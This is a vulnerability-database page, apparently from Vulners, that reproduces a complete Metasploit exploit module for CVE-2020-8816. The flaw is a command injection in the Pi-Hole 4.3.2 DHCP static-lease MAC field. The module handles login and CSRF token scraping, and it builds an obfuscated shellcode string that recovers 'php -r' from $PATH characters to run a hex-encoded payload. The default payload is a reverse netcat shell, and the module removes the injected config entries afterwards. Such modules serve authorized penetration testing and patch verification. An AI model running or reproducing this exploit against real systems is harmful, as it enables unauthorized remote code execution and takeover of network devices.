Lucene search
K

Pi-Hole 4.3.2 DHCP MAC OS CVE-2020-8816 - Command Execution

🗓️ 30 May 2020 14:57:51Reported by 0daydb.comType 
0daydb
 0daydb
🔗 0daydb.com👁 278 Views

Pi-Hole <= 4.3.2 DHCP RCE Exploi

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole DHCP MAC OS Command Execution',
        'Description' => %q{
          This exploits a command execution in Pi-Hole <= 4.3.2.  A new DHCP static lease is added
          with a MAC address which includes an RCE.  Exploitation requires /opt/pihole to be first
          in the $PATH due to exploitation constraints.  DHCP server is not required to be running.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'nateksec' # original PoC, discovery
          ],
        'References' =>
          [
            ['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],
            ['CVE', '2020-8816']
          ],
        'Platform' => ['unix'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' => 'Mar 28 2020',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat'
        },
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
      ]
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'method' => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

      # vDev (HEAD, v4.3-0-g44aff72)
      # v4.3
      %r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body

      if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')
        vprint_good("Version Detected: #{version}")
        return CheckCode::Appears
      else
        vprint_bad("Version Detected: #{version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    CheckCode::Safe
  end

  def login(cookie)
    vprint_status('Login required, attempting login.')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'cookie' => cookie,
      'vars_get' => {
        'tab' => 'piholedhcp'
      },
      'vars_post' => {
        'pw' => datastore['PASSWORD']
      },
      'method' => 'POST'
    )
  end

  def add_static(payload, cookie, token)
    # we don't use vars_post due to the need to have duplicate fields
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'cookie' => cookie,
      'method' => 'POST',
      'vars_get' => {
        'tab' => 'piholedhcp'
      },
      'data' => [
        'AddMAC=',
        'AddIP=',
        'AddHostname=',
        "AddMAC=#{URI.encode_www_form_component(payload)}",
        "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s
        "AddHostname=#{rand_text_alphanumeric(8..12)}",
        'addstatic=',
        'field=DHCP',
        "token=#{URI.encode_www_form_component(token)}"
      ].join('&')
    )
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    begin
      @macs = []
      # get cookie
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
      )
      cookie = res.get_cookies
      print_status("Using cookie: #{cookie}")

      # get token
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'cookie' => cookie,
        'vars_get' => {
          'tab' => 'piholedhcp'
        }
      )

      # check if we got hit by a login prompt
      if res && res.body.include?('Sign in to start your session')
        res = login(cookie)
      end

      if res && res.body.include?('Sign in to start your session')
        fail_with(Failure::BadConfig, 'Incorrect Password')
      end

      # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
      # may also include /
      %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body

      unless token
        fail_with(Failure::UnexpectedReply, 'Unable to find token')
      end
      print_status("Using token: #{token}")

      # from the excellent writeup about the vuln:
      # The biggest difficulty in exploiting this vulnerability is that the user input is
      # capitalized through a call to "strtoupper". Because of this, no lower case character
      # can be used in the resulting injection.

      # we'd like to execute something similar to this:
      # aaaaaaaaaaaa&&php -r 'PAYLOAD'
      # however, we need to pull p, h, and r from the system due to all input getting capitalized
      # this is performed by pulling them from the $PATH which should be something like
      # /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
      # first payload we send is to check that this is in the path to verify exploitation is possible
      mac = rand_text_hex(12).upcase
      @macs << mac
      vprint_status("Validating path with MAC: #{mac}")
      res = add_static("#{mac}$PATH", cookie, token)

      # ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
      env = res.body.match(/value="#{mac}(?<env>.*)">/)
      if env && env[:env].starts_with?('/opt/pihole')
        print_good("System env path exploitable: #{env[:env]}")
      else
        msg = '/opt/pihole not in path. Exploitation not possible.'
        if env
          msg += " Path: #{env[:env]}"
        end
        fail_with(Failure::UnexpectedReply, msg)
      end

      # once we have php -r, we then need to pass a payload.  So we do this via php command
      # exec on hex2bin since our payload in hex caps will still get processed and executed.

      mac = rand_text_hex(12).upcase
      @macs << mac
      print_status("Payload MAC will be: #{mac}")
      shellcode = "#{mac}&&" # mac address, arbitrary
      shellcode << 'W=${PATH#/???/}&&'
      shellcode << 'P=${W%%?????:*}&&'
      shellcode << 'X=${PATH#/???/??}&&'
      shellcode << 'H=${X%%???:*}&&'
      shellcode << 'Z=${PATH#*:/??}&&'
      shellcode << 'R=${Z%%/*}&&$'
      shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(
      shellcode << '"'
      shellcode << payload.encoded.unpack('H*').join('') # hex encode payload
      shellcode << '"));'
      shellcode << "'&&"

      vprint_status("Shellcode: #{shellcode}")
      print_status('Sending Exploit')
      add_static(shellcode, cookie, token)

      # we don't use vars_post due to the need to have duplicate fields
      ip = '192.168'
      2.times {ip="#{ip}.#{rand_text_numeric(1..2).to_i}"} #to_i removes leading zeroes
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'ctype' => 'application/x-www-form-urlencoded',
        'cookie' => cookie,
        'method' => 'POST',
        'vars_get' => {
          'tab' => 'piholedhcp'
        },
        'data' => [
          'AddMAC=',
          'AddIP=',
          'AddHostname=',
          "AddMAC=#{URI.encode_www_form_component(shellcode)}",
          "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s
          "AddHostname=#{rand_text_alphanumeric(3..8)}",
          'addstatic=',
          'field=DHCP',
          "token=#{URI.encode_www_form_component(token)}"
        ].join('&')
      )

    # entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

  end

  def on_new_session(session)
    super
    @macs.each do |mac|
      print_status("Attempting to clean #{mac} from config")
      session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 May 2020 14:57Current
0.1Low risk
Vulners AI Score0.1
EPSS0.77847
278